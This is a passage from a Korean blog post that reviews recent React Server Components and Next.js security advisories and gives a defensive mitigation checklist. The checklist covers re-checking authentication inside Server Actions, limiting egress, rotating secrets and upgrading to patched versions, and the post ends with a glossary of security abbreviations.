CVE-2026-44580XSS (beforeInteractive)Moderate해당 스크립트 사용 시15.5.16 / 16.2.5
GHSA-vfv6-92ff-j949Cache poisoning (collisions)Low캐시 레이어 있는 앱15.5.16 / 16.2.5
GHSA-3g8h-86w9-wvmqCache poisoning (redirects)Low캐시 레이어 있는 앱15.5.16 / 16.2.5

공통 패턴, RSC는 왜 자주 표적이 되는가

우리가 살펴본 CVE의 절반 이상이 Flight 프로토콜의 역직렬화middleware 매처의 URL 표현 두 가지 표현에서 나왔습니다.

Flight는 새로운 RPC입니다

Flight는 결국 RPC입니다. 클라이언트가 서버에 직렬화된 호출을 보내고, 서버는 그걸 역직렬화해서 실행하고 응답을 돌려줍니다. RPC가 깨지는 방식은 거의 30년 전부터 비슷합니다. pickle, PHP 직렬화, Java 직렬화, .NET BinaryFormatter, 그리고 이제 Flight. 모두 같은 함정에 빠졌습니다. 데이터를 풀어내는 코드 안에서 사용자의 입력이 객체 그래프의 형태와 호출 시퀀스를 결정한다는 함정입니다.

CVE-2025-55182와 CVE-2026-23870이 같은 위치에서 6개월 차이로 나왔다는 건, 이 카테고리에서 후속 발견이 더 나올 가능성이 작지 않다는 신호이기도 합니다.

Middleware는 인증 레이어가 아닙니다

5월의 middleware 우회 4종은 같은 이야기를 다른 각도로 합니다. middleware는 본질적으로 URL 매칭 입니다. URL을 표현하는 방식이 늘어날 때마다 매처가 빠뜨리는 변종이 생깁니다. RSC prefetch URL, segment-prefetch URL, i18n locale 없는 data 라우트, dynamic 파라미터 인젝션. 이 네 가지 변종을 한 번에 메우는 게 5월 패치의 본질입니다. 하지만 다음 변종이 안 생길 거라는 보장은 없습니다.

그래서 인증은 페이지 코드 안에 한 번 더 두는 게 안전합니다. middleware는 최적화 로 쓰고, 신뢰의 경계 는 그 아래에 둡니다.


패치를 당장 못 할 때, 일반화한 체크리스트

물론 패치를 1순위로 해야합니다. 정말 부득이하게 일단 틀어 막는 것부터 해야할 때, 상황마다 다르지만 큰 틀에서 이 정도는 체크해야합니다.

1. 노출 면 줄이기

  • Server Action 엔드포인트가 공개일 필요가 없다면 IP allow-list나 인증 게이트웨이 뒤로 옮깁니다.
  • WebSocket upgrade를 안 쓴다면 앞단 nginx/CloudFront 레벨에서 Upgrade: websocket을 거부합니다.
  • 이미지 최적화 API는 도메인 화이트리스트를 좁힙니다.

2. 인증을 두 곳에서

middleware에만 의존하지 말고 페이지/route handler에도 세션 체크를 둡니다. Server Action 내부에서도 auth()를 다시 호출합니다. RSC는 클라이언트의 요청을 서버에서 실행하는 RPC이기 때문에, 호출자에 대한 검증을 함수 안에 두는 게 안전합니다.

// app/actions.ts
'use server'

import { auth } from '@/lib/auth'
import { revalidatePath } from 'next/cache'

export async function deletePost(id: string) {
  // 1) Server Action 자체에서 인증을 다시 확인
  const session = await auth()
  if (!session?.user.isAdmin) {
    throw new Error('Unauthorized')
  }

  // 2) 비즈니스 권한도 함께 확인
  await assertOwnership(session.user.id, id)

  await db.post.delete({ where: { id } })
  revalidatePath('/posts')
}

3. 손해 줄이기

  • 컨테이너 egress 화이트리스트로 뚫려도 외부로 나갈 수 있는 곳을 제한합니다.
  • 환경변수에서 장기 토큰을 빼두고, 가능한 곳은 short-lived credential(AWS STS, IRSA)로 갈아둡니다.
  • IMDSv2 강제. 위에서 본 SSRF 방어와 동일한 원칙이고 self-hosted EC2/EKS에서 즉시 적용 가능합니다.

4. 패치 후엔 시크릿 로테이션

12월 React2Shell처럼 RCE가 가능했던 기간 동안 노출되어 있었다면, 환경변수에 있던 모든 자격증명은 잠재적으로 새어나간 것으로 봐야 합니다. 패치 후 가장 먼저 할 일은 시크릿 로테이션입니다.

5. 그래도 안 되면, WAF/관리 규칙

AWS WAF, Cloudflare Managed Rules, Vercel Firewall이 12월 React2Shell에 대해서는 12월 4일을 전후로 룰을 배포했습니다. 다만 5월 권고에 대해서는 Vercel이 명시적으로 “WAF로 신뢰성 있게 차단할 수 없다”고 밝혔습니다. 시그니처 기반 방어의 한계입니다. WAF는 시간 벌기용이지 해결책이 아닙니다.


마무리

RSC는 좋은 기능입니다. 그런데 그 좋은 기능이 동시에 서버 측 코드 실행을 클라이언트의 입력에 더 가깝게 가져왔다는 사실은 변하지 않습니다. 6개월 동안 우리가 본 건, 이 새로운 표면이 보안 연구자들의 눈에 들어오기 시작했다는 것입니다.

당장 할 수 있는 일은 분명합니다.

  • 가능한 한 빨리 패치된 버전으로 올리기. 5월 기준 15.5.18 또는 16.2.6.
  • 13.x, 14.x에 묶여 있다면 메이저 업그레이드 일정을 잡기.
  • middleware에만 인증을 의존하던 코드가 있다면 페이지/액션 안에도 한 번 더 두기.
  • 시크릿 로테이션을 정기 작업으로 만들기. 다음 CVE를 기다리지 말고.

약자 모음

보안에 친숙하지 않은 분들을 위해 몇 가지 약자에 대한 풀이를 적어보았습니다.

  • CSP (Content Security Policy) - 브라우저에 어떤 스크립트/리소스를 허용할지 알려주는 HTTP 헤더 기반 보안 정책
  • CVE (Common Vulnerabilities and Exposures) - 공개 취약점에 부여하는 식별자. CVE-YYYY-NNNN 형식
  • CVSS (Common Vulnerability Scoring System) - 취약점 심각도를 0~10 점수로 표현하는 표준
  • CWE (Common Weakness Enumeration) - 취약점의 종류 를 분류한 카탈로그. 예: CWE-502는 unsafe deserialization
  • DoS (Denial of Service) - 서비스를 정상 사용자가 못 쓰게 만드는 공격
  • EOL (End Of Life) - 소프트웨어가 더 이상 지원되지 않는 시점
  • GHSA (GitHub Security Advisory) - GitHub가 부여하는 보안 권고 식별자. CVE와 별개로 운영됨
  • IAM (Identity and Access Management) - 클라우드의 접근 제어 시스템 (AWS IAM, GCP IAM 등)
  • IMDS (Instance Metadata Service) - 클라우드 VM 안에서 메타데이터(자격증명, 인스턴스 정보)를 받는 내부 서비스. AWS는 169.254.169.254
  • Pages Router - Next.js 12 이전부터 있던 전통적 라우팅. pages/ 디렉토리 기반
  • PoC (Proof of Concept) - 취약점이 실제로 동작함을 보이는 최소 예제 코드
  • PPR (Partial Prerendering) - Next.js 16의 기능. 페이지 일부는 미리 렌더, 일부는 요청 시점에 채움
  • RCE (Remote Code Execution) - 원격에서 서버에 임의 코드를 실행하는 공격. 가장 심각한 부류
  • RPC (Remote Procedure Call) - 원격 함수 호출. 클라이언트가 서버 함수를 마치 로컬 함수처럼 호출하는 패턴
  • RSC (React Server Components) - React 19의 핵심 기능. 컴포넌트를 서버에서 실행하고 결과만 클라이언트로 보냄
  • SSRF (Server-Side Request Forgery) - 서버가 공격자가 지정한 내부/외부 주소로 요청을 보내게 만드는 공격
  • STS (Security Token Service) - AWS의 임시 자격증명 발급 서비스
  • TLV (Type-Length-Value) - 직렬화 포맷 패턴. 각 값에 타입과 길이를 붙여 표현
  • WAF (Web Application Firewall) - HTTP 요청을 검사해 알려진 공격 패턴을 차단하는 방화벽
  • XSS (Cross-Site Scripting) - 공격자가 작성한 스크립트를 다른 사용자의 브라우저에서 실행하게 만드는 공격

참고 자료